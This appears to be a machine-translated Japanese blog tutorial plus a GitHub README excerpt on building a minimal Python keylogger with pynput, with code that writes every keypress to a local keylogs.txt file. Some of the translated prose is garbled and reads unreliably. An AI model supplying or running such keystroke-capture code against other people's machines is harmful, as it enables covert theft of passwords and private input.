5分でPythonキーロガー


どうやって始まったの?


それはPyconTanzania , サイバーセキュリティについての話がありました、そして、それに沿って、我々は我々自身の単純なキーロガーをPythonで作りました.

イントロ


これは非常に基本的なプロジェクトです、そして、あなたはそれをうまく構築するためにPythonで有能である必要はありません、始めましょう!
キーロガーを構築するには、キーボード上のすべてのキーを追跡する方法を必要とする、そこから
  • keyboard
  • PyUserInput
  • pynput
  • それらを見て、1つを選ぶために時間をかけて、よく、このプロジェクトではpynputを使用する予定です

    インストール


    pip install pynput 
    

    キーロガーの構築


    キーストロークを追跡するには、リスナー関数を実装しなければなりません.
    >>> from pynput import keyboard
    >>> def on_press(key):
    ...     print(key)
    
    >>> listener = keyboard.Listener(on_press=on_press)
    >>> listener.start()
    >>> h'h'
    v'v'
    Key.ctrl
    'v'
    Key.cmd
    Key.ctrl
    Key.shift
    
    我々がコードのわずか数行で見ることができるように、私たちは、押されたキーを追跡して、我々のREPLターミナルでそれを出力するキーロガーを実装することができました
    それで、我々が今しなければならないことは我々のキーストロークをREPLに印刷する代わりに新しいファイルを開くことです
    >>> from pynput import keyboard
    >>> def on_press(key):
    ...     with open('keylogs.txt', 'a') as logs:
    ...             logs.write(str(key))
    ... 
    >>> listener = keyboard.Listener(on_press=on_press)
    >>> listener.start()
    >>> hellodam testing
    
    
    現在のディレクトリを見て、キーログという名前の新しいファイルが表示されます.ちょうどそれ以下のように新しいTrackキーでTXT;
    cat keylogs.txt
    Key.cmd'h''e''l''l''o''d''a''m'Key.space't''e''s''t''i''n''g'Key.cmdKey.cmdKey.ctrlKey.alt't''c''a''t'Key.space'k''e''y'Key.tabKey.enter%     
    
    私たちのフォーマットされたコードがどのように見えるかは、ここにあります
    from pynput import keyboard
    
    
    class KeyLogger():
        def __init__(self, filename: str = "keylogs.txt") -> None:
            self.filename = filename
    
        @staticmethod
        def get_char(key):
            try:
                return key.char
            except AttributeError:
                return str(key)
    
        def on_press(self, key):
            print(key)
            with open(self.filename, 'a') as logs:
                logs.write(self.get_char(key))
    
        def main(self):
            listener = keyboard.Listener(
                on_press=self.on_press,
            )
            listener.start()
    
    
    if __name__ == '__main__':
        logger = KeyLogger()
        logger.main()
        input()
    

    終わりました


    あなたがちょうどあなたの仲間仲間に叫ぶパイソンでキーロガーを作る方法を学びました
    また、私と接続することができます
    私も私の記事を書くpersonal blog

    カレブ / Pythonのキーロガー


    Pythonで作られたキーボードストロークを正確に追跡する最小のキーロガー


    Pythonのキーロガー


    Pythonで作られたキーボードストロークを正確に追跡する最小のキーロガー

    イメージバイMarkus Spiske からPixabay

    はじめましょう!


    クローンをダウンロードし、[リポジトリ=]をクリックして、プロジェクトにコマンドを起動します.Pyスクリプトとkeyloggerはあなたが書くすべてのキーストロークにスパイアップする必要があります
    Gitクローンhttps://github.com/Kalebu/python-keylogger
    Pythonのロガー
    Pythonアプリケーション.パイ

    キーログ.txt


    Keyloggerは、プロジェクトディレクトリに新しいファイルを自動的に開き、あなたのキーを保存し、ファイル名を変更するか、ログを保存するディレクトリを開き、スクリプトを開き、以下のようにスクリプトの一番下にファイル名を調整します
    唐辛子としたら
    ロガー= keylogger (ファイル名=ログファイルへのパス)
    ロガー.main ()
    input ()

    教育目的のために!


    スクリプト自体が伝えます.
    View on GitHub